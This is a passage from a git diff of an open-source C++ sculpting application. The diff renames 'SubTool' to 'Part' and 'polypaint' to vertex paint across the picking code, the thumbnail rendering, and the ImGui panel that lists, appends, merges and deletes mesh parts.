+int App::pickPart(float x, float y, RayHit* out) {
glm::vec3 origin, dir;
canvasRay(x, y, origin, dir);
int best = -1;
RayHit nearest;
- for (int i = 0; i < doc_.subtoolCount(); ++i) {
- SubTool& s = doc_.subtools[size_t(i)];
+ for (int i = 0; i < doc_.partCount(); ++i) {
+ Part& s = doc_.parts[size_t(i)];
if (!s.visible) continue;
RayHit hit;
bool found = false;
- if (i == doc_.activeSubtool) {
+ if (i == doc_.activePart) {
doc_.syncBvh();
found = doc_.bvh.raycast(doc_.mesh, origin, dir, hit);
} else {
@@ -107,33 +107,33 @@ int App::pickSubtool(float x, float y, RayHit* out) {
return best;
}
-void App::subtoolClickMove(float x, float y) {
- if (std::hypot(x - subtoolClickX_, y - subtoolClickY_) < kClickSlopPx) return;
- // A drag, not a click: what an Alt+drag from here does on the active SubTool
+void App::partClickMove(float x, float y) {
+ if (std::hypot(x - partClickX_, y - partClickY_) < kClickSlopPx) return;
+ // A drag, not a click: what an Alt+drag from here does on the active Part
// (brushes ignore the others): an inverted stroke, or a pan off the model.
drag_ = Drag::None;
RayHit hit;
- if (previewLod_ < 0 && pick(subtoolClickX_, subtoolClickY_, hit)) {
- beginStroke(subtoolClickX_, subtoolClickY_, hit);
+ if (previewLod_ < 0 && pick(partClickX_, partClickY_, hit)) {
+ beginStroke(partClickX_, partClickY_, hit);
if (drag_ == Drag::Stroke) strokeTo(x, y);
} else {
drag_ = Drag::Pan;
- camera_.pan(x - subtoolClickX_, y - subtoolClickY_, canvasHeight());
+ camera_.pan(x - partClickX_, y - partClickY_, canvasHeight());
}
}
-void App::subtoolClickRelease() {
+void App::partClickRelease() {
// A pen pressed this long was held down to sculpt, not clicked (and Windows Ink's press-and-hold).
- const bool held = (dragFromPen_ || wintabPen_) && clickClockNs() - subtoolClickNs_ > kPartClickNs;
- if (!held && subtoolClickTarget_ >= 0 && subtoolClickTarget_ < doc_.subtoolCount()) {
- if (subtoolClickTarget_ != doc_.activeSubtool) {
- runCommand("subtool_select", {{"index", double(subtoolClickTarget_)}});
+ const bool held = (dragFromPen_ || wintabPen_) && clickClockNs() - partClickNs_ > kPartClickNs;
+ if (!held && partClickTarget_ >= 0 && partClickTarget_ < doc_.partCount()) {
+ if (partClickTarget_ != doc_.activePart) {
+ runCommand("part_select", {{"index", double(partClickTarget_)}});
partSelected("Alt+click");
}
- if (subtoolClickFrame_) camera_.frame(doc_.mesh.bounds()); // Shift+Alt+click: frame it too
+ if (partClickFrame_) camera_.frame(doc_.mesh.bounds()); // Shift+Alt+click: frame it too
}
- subtoolClickTarget_ = -1;
- subtoolClickFrame_ = false;
+ partClickTarget_ = -1;
+ partClickFrame_ = false;
}
// Every Part switch from the viewport or the list says which Part and how (an unexpected switch had users
@@ -144,58 +144,58 @@ Uint64 App::clickClockNs() const {
void App::partSelected(const char* how) {
if (!lastCommandOk_) return;
- status_ = "Active Part: " + doc_.activeSubtoolInfo().name + " (" + how + ")";
+ status_ = "Active Part: " + doc_.activePartInfo().name + " (" + how + ")";
}
App::JobPart::JobPart(App& a, int index) : app(a) {
- if (index < 0 || index == app.doc_.activeSubtool) return;
- back = app.doc_.activeSubtoolInfo().id;
+ if (index < 0 || index == app.doc_.activePart) return;
+ back = app.doc_.activePartInfo().id;
switched = true;
- app.doc_.selectSubtool(index);
+ app.doc_.selectPart(index);
}
App::JobPart::~JobPart() {
if (!switched) return;
- const std::string done = app.doc_.activeSubtoolInfo().name;
- const int i = app.doc_.subtoolIndex(back);
- if (i < 0 || i == app.doc_.activeSubtool) return;
- app.doc_.selectSubtool(i);
- app.status_ += " (on " + done + "; " + app.doc_.activeSubtoolInfo().name + " stays the active Part)";
+ const std::string done = app.doc_.activePartInfo().name;
+ const int i = app.doc_.partIndex(back);
+ if (i < 0 || i == app.doc_.activePart) return;
+ app.doc_.selectPart(i);
+ app.status_ += " (on " + done + "; " + app.doc_.activePartInfo().name + " stays the active Part)";
}
bool App::jobWaitsForStroke() const { return drag_ == Drag::Stroke || doc_.sculptor.strokeActive() || !dabQueue_.empty(); }
-void App::updateSubtoolThumbnails() {
- // #43: what each SubTool looks like now; the schedule picks at most one to render this frame, from the GPU
+void App::updatePartThumbnails() {
+ // #43: what each Part looks like now; the schedule picks at most one to render this frame, from the GPU
// buffers syncScene just brought up to date (never a CPU render, never a re-upload: cheap on 30M+ meshes).
std::vector<uint32_t> ids;
- ids.reserve(doc_.subtools.size());
+ ids.reserve(doc_.parts.size());
const double now = double(SDL_GetTicksNS()) * 1e-9; // (the main loop's clock, as redrawAt_)
- for (int i = 0; i < doc_.subtoolCount(); ++i) {
- const SubTool& s = doc_.subtools[size_t(i)];
- const Mesh& m = doc_.subtoolMesh(i);
- const UndoStack& undo = i == doc_.activeSubtool ? doc_.undo : s.undo;
+ for (int i = 0; i < doc_.partCount(); ++i) {
+ const Part& s = doc_.parts[size_t(i)];
+ const Mesh& m = doc_.partMesh(i);
+ const UndoStack& undo = i == doc_.activePart ? doc_.undo : s.undo;
uint64_t key = undo.revision();
for (uint64_t part : {uint64_t(m.triangleCount()), uint64_t(m.vertexCount()), uint64_t(s.visible),
- uint64_t(s.shading), uint64_t(renderSettings_.matcap + 1), uint64_t(renderSettings_.showPolypaint)})
+ uint64_t(s.shading), uint64_t(renderSettings_.litsphere + 1), uint64_t(renderSettings_.showVertexPaint)})
key = key * 1099511628211ull ^ part;
- subtoolThumbSchedule_.observe(s.id, key, now);
+ partThumbSchedule_.observe(s.id, key, now);
ids.push_back(s.id);
}
- for (uint32_t gone : subtoolThumbSchedule_.keepOnly(ids))
- if (auto it = subtoolThumbs_.find(gone); it != subtoolThumbs_.end()) {
+ for (uint32_t gone : partThumbSchedule_.keepOnly(ids))
+ if (auto it = partThumbs_.find(gone); it != partThumbs_.end()) {
gl::DeleteTextures(1, &it->second);
- subtoolThumbs_.erase(it);
+ partThumbs_.erase(it);
}
const bool busy = drag_ != Drag::None || strokeFinishing_ || solverBusy() || doc_.sculptor.strokeActive();
uint32_t id = 0;
double wakeAt = 0.0;
- if (subtoolThumbSchedule_.due(now, busy, id, wakeAt)) {
+ if (partThumbSchedule_.due(now, busy, id, wakeAt)) {
constexpr int kPixels = 96; // shown at about 34 px: crisp on HiDPI
std::vector<uint8_t> rgba;
std::string error;
- if (renderer_.renderSubtoolThumbnail(id, 30.0f, -15.0f, kPixels, renderSettings_, rgba, error)) {
- unsigned& tex = subtoolThumbs_[id];
+ if (renderer_.renderPartThumbnail(id, 30.0f, -15.0f, kPixels, renderSettings_, rgba, error)) {
+ unsigned& tex = partThumbs_[id];
if (!tex) gl::GenTextures(1, &tex);
gl::BindTexture(GL_TEXTURE_2D, tex);
gl::TexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR);
@@ -206,31 +206,31 @@ void App::updateSubtoolThumbnails() {
gl::TexImage2D(GL_TEXTURE_2D, 0, GLint(GL_RGBA8), kPixels, kPixels, 0, GL_RGBA, GL_UNSIGNED_BYTE, rgba.data());
gl::BindTexture(GL_TEXTURE_2D, 0);
}
- subtoolThumbSchedule_.rendered(id); // (one that couldn't render, e.g. hidden before its first upload, waits for a change)
+ partThumbSchedule_.rendered(id); // (one that couldn't render, e.g. hidden before its first upload, waits for a change)
uint32_t next = 0;
- if (subtoolThumbSchedule_.due(now, busy, next, wakeAt)) wakeAt = now; // another waiting: the next frame
+ if (partThumbSchedule_.due(now, busy, next, wakeAt)) wakeAt = now; // another waiting: the next frame
}
if (wakeAt > 0.0) redrawAt_ = redrawAt_ > 0.0 ? std::min(redrawAt_, wakeAt) : wakeAt;
}
-void App::clearSubtoolThumbnails() {
- for (auto& [id, tex] : subtoolThumbs_) gl::DeleteTextures(1, &tex);
- subtoolThumbs_.clear();
- subtoolThumbSchedule_.keepOnly({});
+void App::clearPartThumbnails() {
+ for (auto& [id, tex] : partThumbs_) gl::DeleteTextures(1, &tex);
+ partThumbs_.clear();
+ partThumbSchedule_.keepOnly({});
}
-void App::drawSubToolsContents() {
- subtoolPanelShown_ = true; // its thumbnails keep up while it shows (updateSubtoolThumbnails)
+void App::drawPartsContents() {
+ partPanelShown_ = true; // its thumbnails keep up while it shows (updatePartThumbnails)
const float scale = uiScale_;
- const int count = doc_.subtoolCount();
- const int active = doc_.activeSubtool;
+ const int count = doc_.partCount();
+ const int active = doc_.activePart;
const ImGuiStyle& style = ImGui::GetStyle();
// The list: eye, name, triangles. Row actions run after the loop (they change the list).
int selectIndex = -1, toggleIndex = -1, deleteIndex = -1, duplicateIndex = -1, renameIndex = -1;
std::string renameTo;
const ImVec2 cellPad(6.0f * scale, 4.0f * scale);
- // Each row starts with the SubTool's thumbnail (#43); the text is centred on its height.
+ // Each row starts with the Part's thumbnail (#43); the text is centred on its height.
const float thumb = 30.0f * scale, lineH = ImGui::GetTextLineHeight();
const float innerH = std::max(lineH, thumb), textDy = (innerH - lineH) * 0.5f;
const float rowH = innerH + 2.0f * cellPad.y;
@@ -246,24 +246,24 @@ void App::drawSubToolsContents() {
ImGui::PushStyleColor(ImGuiCol_Header, kRowSelected);
ImGui::PushStyleColor(ImGuiCol_HeaderHovered, kRowHover);
ImGui::PushStyleColor(ImGuiCol_HeaderActive, kRowPressed);
- if (ImGui::BeginTable("##subtools", 4, ImGuiTableFlags_ScrollY | ImGuiTableFlags_RowBg | ImGuiTableFlags_PadOuterX, ImVec2(-1, listH))) {
+ if (ImGui::BeginTable("##parts", 4, ImGuiTableFlags_ScrollY | ImGuiTableFlags_RowBg | ImGuiTableFlags_PadOuterX, ImVec2(-1, listH))) {
const float eyeW = ImGui::GetTextLineHeight() * 1.2f;
ImGui::TableSetupColumn("name", ImGuiTableColumnFlags_WidthStretch);
- // Subdivision levels, as ZBrush lists them ("SDiv 3/5"); empty for meshes without levels.
+ // Subdivision levels lists them ("SDiv 3/5"); empty for meshes without levels.
bool anyLevels = false;
- for (int i = 0; i < count && !anyLevels; ++i) anyLevels = subdivLevelCount(doc_.subtoolMesh(i)) > 0;
+ for (int i = 0; i < count && !anyLevels; ++i) anyLevels = subdivLevelCount(doc_.partMesh(i)) > 0;
ImGui::TableSetupColumn("sdiv", ImGuiTableColumnFlags_WidthFixed, anyLevels ? ImGui::CalcTextSize("SDiv 8/8").x : 0.0f);
ImGui::TableSetupColumn("tris", ImGuiTableColumnFlags_WidthFixed, ImGui::CalcTextSize("0.00M").x);
ImGui::TableSetupColumn("eye", ImGuiTableColumnFlags_WidthFixed, eyeW);
for (int i = 0; i < count; ++i) {
- const SubTool& s = doc_.subtools[size_t(i)];
+ const Part& s = doc_.parts[size_t(i)];
const bool isActive = i == active;
ImGui::PushID(int(s.id));
ImGui::TableNextRow(ImGuiTableRowFlags_None, rowH);
ImGui::TableSetColumnIndex(0);
const ImVec2 thumbAt = ImGui::GetCursorScreenPos();
ImGui::SetCursorPosX(ImGui::GetCursorPosX() + thumb + 6.0f * scale);
- if (renamingSubtool_ == s.id) {
+ if (renamingPart_ == s.id) {
ImGui::SetCursorPosY(ImGui::GetCursorPosY() + textDy);
ImGui::SetNextItemWidth(-1);
if (focusRename_) {
@@ -277,9 +277,9 @@ void App::drawSubToolsContents() {
if (enter || (ImGui::IsItemDeactivatedAfterEdit() && !ImGui::IsKeyPressed(ImGuiKey_Escape))) {
renameTo = renameBuffer_;
renameIndex = i;
- renamingSubtool_ = 0;
+ renamingPart_ = 0;
} else if (ImGui::IsItemDeactivated()) {
- renamingSubtool_ = 0; // Escape or clicked away without a change
+ renamingPart_ = 0; // Escape or clicked away without a change
}
} else {
if (!s.visible) ImGui::PushStyleColor(ImGuiCol_Text, style.Colors[ImGuiCol_TextDisabled]);
@@ -299,38 +299,38 @@ void App::drawSubToolsContents() {
theme::u32(theme::accent));
}
if (ImGui::IsItemHovered() && ImGui::IsMouseDoubleClicked(ImGuiMouseButton_Left)) {
- renamingSubtool_ = s.id;
+ renamingPart_ = s.id;
focusRename_ = true;
std::snprintf(renameBuffer_, sizeof renameBuffer_, "%s", s.name.c_str());
}
if (ImGui::IsItemHovered(ImGuiHoveredFlags_DelayNormal))
ImGui::SetTooltip(tr("%s\n%zu vertices, %zu triangles%s%s\nClick to select, double-click to rename"),
- s.name.c_str(), doc_.subtoolMesh(i).vertexCount(), doc_.subtoolMesh(i).triangleCount(),
- subdivLevelCount(doc_.subtoolMesh(i)) ? ", " : "",
- subdivLevelText(doc_.subtoolMesh(i)).c_str());
+ s.name.c_str(), doc_.partMesh(i).vertexCount(), doc_.partMesh(i).triangleCount(),
+ subdivLevelCount(doc_.partMesh(i)) ? ", " : "",
+ subdivLevelText(doc_.partMesh(i)).c_str());
if (ImGui::BeginPopupContextItem("##row")) {
ImGui::TextDisabled("%s", s.name.c_str());
if (ImGui::MenuItem(tr("Rename"))) {
- renamingSubtool_ = s.id;
+ renamingPart_ = s.id;
focusRename_ = true;
std::snprintf(renameBuffer_, sizeof renameBuffer_, "%s", s.name.c_str());
}
- if (ImGui::MenuItem(tr("Duplicate"), actions_.shortcutText("subtool.duplicate").c_str())) duplicateIndex = i;
+ if (ImGui::MenuItem(tr("Duplicate"), actions_.shortcutText("part.duplicate").c_str())) duplicateIndex = i;
if (ImGui::MenuItem(tr("Delete..."), nullptr, false, count > 1)) deleteIndex = i;
ImGui::EndPopup();
}
- if (isActive && listedActiveSubtool_ != s.id) {
- ImGui::SetScrollHereY(0.5f); // keep the active SubTool in view after Alt+click
- listedActiveSubtool_ = s.id;
+ if (isActive && listedActivePart_ != s.id) {
+ ImGui::SetScrollHereY(0.5f); // keep the active Part in view after Alt+click
+ listedActivePart_ = s.id;
}
}
{
- // The thumbnail, or a quiet placeholder until it's rendered (updateSubtoolThumbnails).
+ // The thumbnail, or a quiet placeholder until it's rendered (updatePartThumbnails).
ImDrawList* dl = ImGui::GetWindowDrawList();
const ImVec2 t1(thumbAt.x + thumb, thumbAt.y + thumb);
dl->AddRectFilled(thumbAt, t1, ImGui::ColorConvertFloat4ToU32(kThumbWell), theme::rounding(3.0f * scale));
- const auto tex = subtoolThumbs_.find(s.id);
- if (tex != subtoolThumbs_.end() && tex->second)
+ const auto tex = partThumbs_.find(s.id);
+ if (tex != partThumbs_.end() && tex->second)
dl->AddImageRounded(ImTextureID(uintptr_t(tex->second)), thumbAt, t1, ImVec2(0, 0), ImVec2(1, 1),
IM_COL32(255, 255, 255, s.visible ? 255 : 110), theme::rounding(3.0f * scale));
else
@@ -339,14 +339,14 @@ void App::drawSubToolsContents() {
}
ImGui::TableSetColumnIndex(1);
ImGui::SetCursorPosY(ImGui::GetCursorPosY() + textDy);
- if (const std::string sdiv = subdivLevelText(doc_.subtoolMesh(i)); !sdiv.empty()) {
+ if (const std::string sdiv = subdivLevelText(doc_.partMesh(i)); !sdiv.empty()) {
ImVec4 col = style.Colors[isActive ? ImGuiCol_Text : ImGuiCol_TextDisabled];
if (isActive) col.w *= 0.75f;
ImGui::TextColored(col, "%s", sdiv.c_str());
}
ImGui::TableSetColumnIndex(2);
ImGui::SetCursorPosY(ImGui::GetCursorPosY() + textDy);
- const std::string tris = shortCount(doc_.subtoolMesh(i).triangleCount());
+ const std::string tris = shortCount(doc_.partMesh(i).triangleCount());
ImGui::SetCursorPosX(ImGui::GetCursorPosX() + ImGui::GetContentRegionAvail().x - ImGui::CalcTextSize(tris.c_str()).x);
ImVec4 trisCol = style.Colors[isActive ? ImGuiCol_Text : ImGuiCol_TextDisabled];
if (isActive) trisCol.w *= 0.75f; // readable on the highlight
@@ -370,40 +370,40 @@ void App::drawSubToolsContents() {
ImGui::PopStyleColor(3);
ImGui::PopStyleVar();
- if (renameIndex >= 0 && !renameTo.empty() && renameTo != doc_.subtools[size_t(renameIndex)].name)
- runCommand("subtool_rename", {{"index", double(renameIndex)}, {"to", renameTo}});
+ if (renameIndex >= 0 && !renameTo.empty() && renameTo != doc_.parts[size_t(renameIndex)].name)
+ runCommand("part_rename", {{"index", double(renameIndex)}, {"to", renameTo}});
if (selectIndex >= 0) {
- runCommand("subtool_select", {{"index", double(selectIndex)}});
+ runCommand("part_select", {{"index", double(selectIndex)}});
partSelected("Parts list");
}
- if (toggleIndex >= 0) runCommand("subtool_visibility", {{"index", double(toggleIndex)}});
- if (duplicateIndex >= 0) runCommand("subtool_duplicate", {{"index", double(duplicateIndex)}});
+ if (toggleIndex >= 0) runCommand("part_visibility", {{"index", double(toggleIndex)}});
+ if (duplicateIndex >= 0) runCommand("part_duplicate", {{"index", double(duplicateIndex)}});
- // Buttons act on the active SubTool, as in ZBrush.
- const std::string activeName = doc_.activeSubtoolInfo().name;
+ // Buttons act on the active Part.
+ const std::string activeName = doc_.activePartInfo().name;
int visibleCount = 0;
- for (const auto& s : doc_.subtools) visibleCount += s.visible ? 1 : 0;
+ for (const auto& s : doc_.parts) visibleCount += s.visible ? 1 : 0;
auto confirm = [this](std::string title, std::string message, std::string button, std::string command) {
- subtoolConfirm_ = {std::move(title), std::move(message), std::move(button), std::move(command)};
- openSubtoolConfirm_ = true;
+ partConfirm_ = {std::move(title), std::move(message), std::move(button), std::move(command)};
+ openPartConfirm_ = true;
};
if (deleteIndex >= 0) {
- if (deleteIndex != doc_.activeSubtool) runCommand("subtool_select", {{"index", double(deleteIndex)}});
- confirm("Delete Part?", "Delete \"" + doc_.activeSubtoolInfo().name + "\"? This can't be undone.", "Delete",
- "subtool_delete");
+ if (deleteIndex != doc_.activePart) runCommand("part_select", {{"index", double(deleteIndex)}});
+ confirm("Delete Part?", "Delete \"" + doc_.activePartInfo().name + "\"? This can't be undone.", "Delete",
+ "part_delete");
}
const float third = (ImGui::GetContentRegionAvail().x - 2 * style.ItemSpacing.x) / 3.0f;
if (ImGui::Button(tr("Append"), ImVec2(third, 0))) ImGui::OpenPopup("##append");
if (ImGui::IsItemHovered(ImGuiHoveredFlags_DelayNormal)) ImGui::SetTooltip("%s", tr("Add a new Part beside the model"));
if (ImGui::BeginPopup("##append")) {
- if (ImGui::MenuItem(tr("Sphere"))) runCommand("subtool_append", {{"type", std::string("sphere")}});
- if (ImGui::MenuItem(tr("Cube"))) runCommand("subtool_append", {{"type", std::string("cube")}});
- if (ImGui::MenuItem(tr("Plane"))) runCommand("subtool_append", {{"type", std::string("plane")}});
+ if (ImGui::MenuItem(tr("Sphere"))) runCommand("part_append", {{"type", std::string("sphere")}});
+ if (ImGui::MenuItem(tr("Cube"))) runCommand("part_append", {{"type", std::string("cube")}});
+ if (ImGui::MenuItem(tr("Plane"))) runCommand("part_append", {{"type", std::string("plane")}});
for (const char* t : {"cylinder", "cone", "torus", "capsule", "icosphere", "quadsphere"}) { // #31
std::string label = t;
label[0] = char(std::toupper(static_cast<unsigned char>(label[0])));
if (label == "Quadsphere") label = "Quad Sphere";
- if (ImGui::MenuItem(label.c_str())) runCommand("subtool_append", {{"type", std::string(t)}});
+ if (ImGui::MenuItem(label.c_str())) runCommand("part_append", {{"type", std::string(t)}});
}
ImGui::Separator();
if (ImGui::BeginMenu(tr("Insert on the model"))) { // #34: drag on the surface to place it
@@ -417,15 +417,15 @@ void App::drawSubToolsContents() {
}
}
ImGui::Separator();
- // Your own mesh (#34): a copy of another SubTool, or a model file you choose.
+ // Your own mesh (#34): a copy of another Part, or a model file you choose.
if (ImGui::BeginMenu(tr("Active Part's copy..."), count > 1)) {
for (int i = 0; i < count; ++i) {
if (i == active) continue;
- const std::string& name = doc_.subtools[size_t(i)].name;
- const bool chosen = insertType_ == "mesh" && insertMeshKey_ == "subtool" && insertMeshValue_ == name;
+ const std::string& name = doc_.parts[size_t(i)].name;
+ const bool chosen = insertType_ == "mesh" && insertMeshKey_ == "part" && insertMeshValue_ == name;
if (ImGui::MenuItem((name + "##insertcopy" + std::to_string(i)).c_str(), nullptr, chosen)) {
insertType_ = "mesh";
- insertMeshKey_ = "subtool";
+ insertMeshKey_ = "part";
insertMeshValue_ = name;
status_ = "Insert a copy of " + name + ": drag on the model (the drag sets its size). Esc stops.";
}
@@ -441,28 +441,28 @@ void App::drawSubToolsContents() {
ImGui::EndMenu();
}
if (ImGui::MenuItem(tr("From file...")))
- SDL_ShowOpenFileDialog(onAppendChosen, &dialogRequests_[int(FileAction::AppendSubtool)], window_,
+ SDL_ShowOpenFileDialog(onAppendChosen, &dialogRequests_[int(FileAction::AppendPart)], window_,
kAppendFilters, 2, nullptr, false);
ImGui::EndPopup();
}
ImGui::SameLine();
- if (ImGui::Button(tr("Duplicate"), ImVec2(third, 0))) runCommand("subtool_duplicate");
- if (ImGui::IsItemHovered()) ImGui::SetTooltip(tr("Copy the active Part (%s)"), actions_.shortcutText("subtool.duplicate").c_str());
+ if (ImGui::Button(tr("Duplicate"), ImVec2(third, 0))) runCommand("part_duplicate");
+ if (ImGui::IsItemHovered()) ImGui::SetTooltip(tr("Copy the active Part (%s)"), actions_.shortcutText("part.duplicate").c_str());
ImGui::SameLine();
ImGui::BeginDisabled(count < 2);
if (ImGui::Button(tr("Delete..."), ImVec2(third, 0)))
- confirm("Delete Part?", "Delete \"" + activeName + "\"? This can't be undone.", "Delete", "subtool_delete");
+ confirm("Delete Part?", "Delete \"" + activeName + "\"? This can't be undone.", "Delete", "part_delete");
ImGui::EndDisabled();
const float arrowW = ImGui::GetFrameHeight();
ImGui::BeginDisabled(active <= 0);
- if (ImGui::ArrowButton("##up", ImGuiDir_Up)) runCommand("subtool_move", {{"direction", std::string("up")}});
+ if (ImGui::ArrowButton("##up", ImGuiDir_Up)) runCommand("part_move", {{"direction", std::string("up")}});
ImGui::EndDisabled();
if (ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenDisabled | ImGuiHoveredFlags_DelayNormal))
ImGui::SetTooltip("%s", tr("Move up the list"));
ImGui::SameLine();
ImGui::BeginDisabled(active >= count - 1);
- if (ImGui::ArrowButton("##down", ImGuiDir_Down)) runCommand("subtool_move", {{"direction", std::string("down")}});
+ if (ImGui::ArrowButton("##down", ImGuiDir_Down)) runCommand("part_move", {{"direction", std::string("down")}});
ImGui::EndDisabled();
if (ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenDisabled | ImGuiHoveredFlags_DelayNormal))
ImGui::SetTooltip("%s", tr("Move down the list"));
@@ -470,10 +470,10 @@ void App::drawSubToolsContents() {
// Solo and X-Ray side by side (#80), then Unhide all.
const float rest = ImGui::GetContentRegionAvail().x - 2.0f * (arrowW + style.ItemSpacing.x) - 2.0f * style.ItemSpacing.x;
const float soloW = std::floor(rest * 0.3f), xrayW = std::floor(rest * 0.32f);
- const bool solo = count > 1 && visibleCount == 1 && doc_.activeSubtoolInfo().visible;
+ const bool solo = count > 1 && visibleCount == 1 && doc_.activePartInfo().visible;
ImGui::BeginDisabled(count < 2);
if (solo) ImGui::PushStyleColor(ImGuiCol_Button, style.Colors[ImGuiCol_ButtonActive]);
- if (ImGui::Button(tr("Solo"), ImVec2(soloW, 0))) runCommand("subtool_solo");
+ if (ImGui::Button(tr("Solo"), ImVec2(soloW, 0))) runCommand("part_solo");
if (solo) ImGui::PopStyleColor();
ImGui::EndDisabled();
if (ImGui::IsItemHovered(ImGuiHoveredFlags_DelayNormal))
@@ -487,16 +487,16 @@ void App::drawSubToolsContents() {
ImGui::SetTooltip("%s", xray ? tr("Draw the other Parts solid again") : tr("See through the other Parts to the active one"));
ImGui::SameLine();
ImGui::BeginDisabled(visibleCount == count);
- if (ImGui::Button(tr("Unhide all"), ImVec2(-1, 0))) runCommand("subtool_show_all");
+ if (ImGui::Button(tr("Unhide all"), ImVec2(-1, 0))) runCommand("part_show_all");
ImGui::EndDisabled();
const float half = (ImGui::GetContentRegionAvail().x - style.ItemSpacing.x) * 0.5f;
ImGui::BeginDisabled(active >= count - 1);
if (ImGui::Button(tr("Merge down..."), ImVec2(half, 0)))
confirm("Merge Down?",
- "Merge \"" + doc_.subtools[size_t(std::min(active + 1, count - 1))].name + "\" into \"" + activeName +
+ "Merge \"" + doc_.parts[size_t(std::min(active + 1, count - 1))].name + "\" into \"" + activeName +
"\"? This can't be undone,\nbut Split groups separates them again.",
- "Merge", "subtool_merge_down");
+ "Merge", "part_merge_down");
ImGui::EndDisabled();
if (ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenDisabled | ImGuiHoveredFlags_DelayNormal))
ImGui::SetTooltip("%s", tr("Merge the active Part with the one below it"));
@@ -506,26 +506,26 @@ void App::drawSubToolsContents() {
confirm("Merge Visible?",
"Merge the " + std::to_string(visibleCount) + " visible Parts into one? This can't be undone,\n"
"but Split groups separates them again.",
- "Merge", "subtool_merge_visible");
+ "Merge", "part_merge_visible");
ImGui::EndDisabled();
- // More than one polygroup? Counted only when the active mesh changes.
- const uint64_t key = (uint64_t(doc_.activeSubtoolInfo().id) << 40) ^ (doc_.undo.revision() * 0x9E3779B97F4A7C15ull) ^
+ // More than one face group? Counted only when the active mesh changes.
+ const uint64_t key = (uint64_t(doc_.activePartInfo().id) << 40) ^ (doc_.undo.revision() * 0x9E3779B97F4A7C15ull) ^
uint64_t(doc_.mesh.triangleCount());
if (key != splitGroupsKey_) {
splitGroupsKey_ = key;
- const auto& g = doc_.mesh.polygroups;
+ const auto& g = doc_.mesh.facegroups;
splitGroupsPossible_ = g.size() == doc_.mesh.triangleCount() &&
std::any_of(g.begin(), g.end(), [&](uint32_t id) { return id != g.front(); });
}
ImGui::BeginDisabled(!splitGroupsPossible_);
- if (ImGui::Button(tr("Split groups"), ImVec2(half, 0))) runCommand("subtool_split_groups");
+ if (ImGui::Button(tr("Split groups"), ImVec2(half, 0))) runCommand("part_split_groups");
ImGui::EndDisabled();
if (ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenDisabled | ImGuiHoveredFlags_DelayNormal))
ImGui::SetTooltip("%s", tr("One Part per face group"));
ImGui::SameLine();
ImGui::BeginDisabled(doc_.mesh.triangleCount() == 0);
- if (ImGui::Button(tr("Split parts"), ImVec2(half, 0))) runCommand("subtool_split_parts");
+ if (ImGui::Button(tr("Split parts"), ImVec2(half, 0))) runCommand("part_split_parts");
ImGui::EndDisabled();
if (ImGui::IsItemHovered(ImGuiHoveredFlags_AllowWhenDisabled | ImGuiHoveredFlags_DelayNormal))
ImGui::SetTooltip("%s", tr("One Part per disconnected piece"));
@@ -534,20 +534,20 @@ void App::drawSubToolsContents() {
if (fontSmall_) ImGui::PopFont();
}
-void App::drawSubToolPopups() {
- const std::string popup = subtoolConfirm_.title + "###" + subtoolConfirm_.command;
- if (openSubtoolConfirm_) {
+void App::drawPartPopups() {
+ const std::string popup = partConfirm_.title + "###" + partConfirm_.command;
+ if (openPartConfirm_) {
ImGui::OpenPopup(popup.c_str());
- openSubtoolConfirm_ = false;
+ openPartConfirm_ = false;
}
ImGui::SetNextWindowPos(ImGui::GetMainViewport()->GetCenter(), ImGuiCond_Appearing, ImVec2(0.5f, 0.5f));
if (!ImGui::BeginPopupModal(popup.c_str(), nullptr, ImGuiWindowFlags_AlwaysAutoResize)) return;
- ImGui::TextUnformatted(subtoolConfirm_.message.c_str());
+ ImGui::TextUnformatted(partConfirm_.message.c_str());
ImGui::Spacing();
const float w = 110.0f * uiScale_;
- if (ImGui::Button(subtoolConfirm_.button.c_str(), ImVec2(w, 0)) || ImGui::IsKeyPressed(ImGuiKey_Enter)) {
+ if (ImGui::Button(partConfirm_.button.c_str(), ImVec2(w, 0)) || ImGui::IsKeyPressed(ImGuiKey_Enter)) {
ImGui::CloseCurrentPopup();
- runCommand(subtoolConfirm_.command);
+ runCommand(partConfirm_.command);
}
ImGui::SameLine();
if (ImGui::Button(tr("Cancel"), ImVec2(w, 0)) || ImGui::IsKeyPressed(ImGuiKey_Escape)) ImGui::CloseCurrentPopup();
diff --git a/src/app/PanelPbr.cpp b/src/app/PanelPbr.cpp
index 27708549..b228a018 100644
--- a/src/app/PanelPbr.cpp
+++ b/src/app/PanelPbr.cpp
@@ -15,7 +15,7 @@
#include "core/MapExport.h"
#include "core/MeshMaps.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/Texture.h"
#include "core/TextureChannels.h"
@@ -395,7 +395,7 @@ double App::pbrTestValue(const std::string& name) const {
if (name == "view_pbr") return renderSettings_.pbr() ? 1.0 : 0.0;
if (name == "environment") return double(renderSettings_.environment);
if (name == "environment_pending") return renderer_.environmentPending() ? 1.0 : 0.0;
- if (name == "pbr_planes") return double(renderer_.pbrPlanes(doc_.activeSubtoolInfo().id));
+ if (name == "pbr_planes") return double(renderer_.pbrPlanes(doc_.activePartInfo().id));
if (name == "brush_channels") return double(doc_.paintMaterial.channels);
if (name == "roughness_painted") {
if (!tex || !channelEnabled(*m.texture, Channel::Roughness)) return 0.0;
diff --git a/src/app/PanelPerformance.cpp b/src/app/PanelPerformance.cpp
index 9de442a3..df411c3a 100644
--- a/src/app/PanelPerformance.cpp
+++ b/src/app/PanelPerformance.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Preferences > Performance (ZBrush: Preferences > Performance and Mem): how the 3D view draws (Antialiasing,
+// Preferences > Performance (Preferences > Performance and Mem): how the 3D view draws (Antialiasing,
// Fast Navigation), Multithreading, what the last stroke cost per dab, and the memory the scene holds. The
// numbers come from the same instruments as the benchmark (core/Benchmark.h, docs/performance.md).
#include "app/App.h"
@@ -155,8 +155,8 @@ int App::viewSamples() {
}
const bool moving = drag_ == Drag::Orbit || drag_ == Drag::Pan || drag_ == Drag::Zoom || perf_.framesStill < 8;
size_t triangles = 0;
- for (int i = 0; i < doc_.subtoolCount(); ++i)
- if (doc_.subtools[size_t(i)].visible) triangles += doc_.subtoolMesh(i).triangleCount();
+ for (int i = 0; i < doc_.partCount(); ++i)
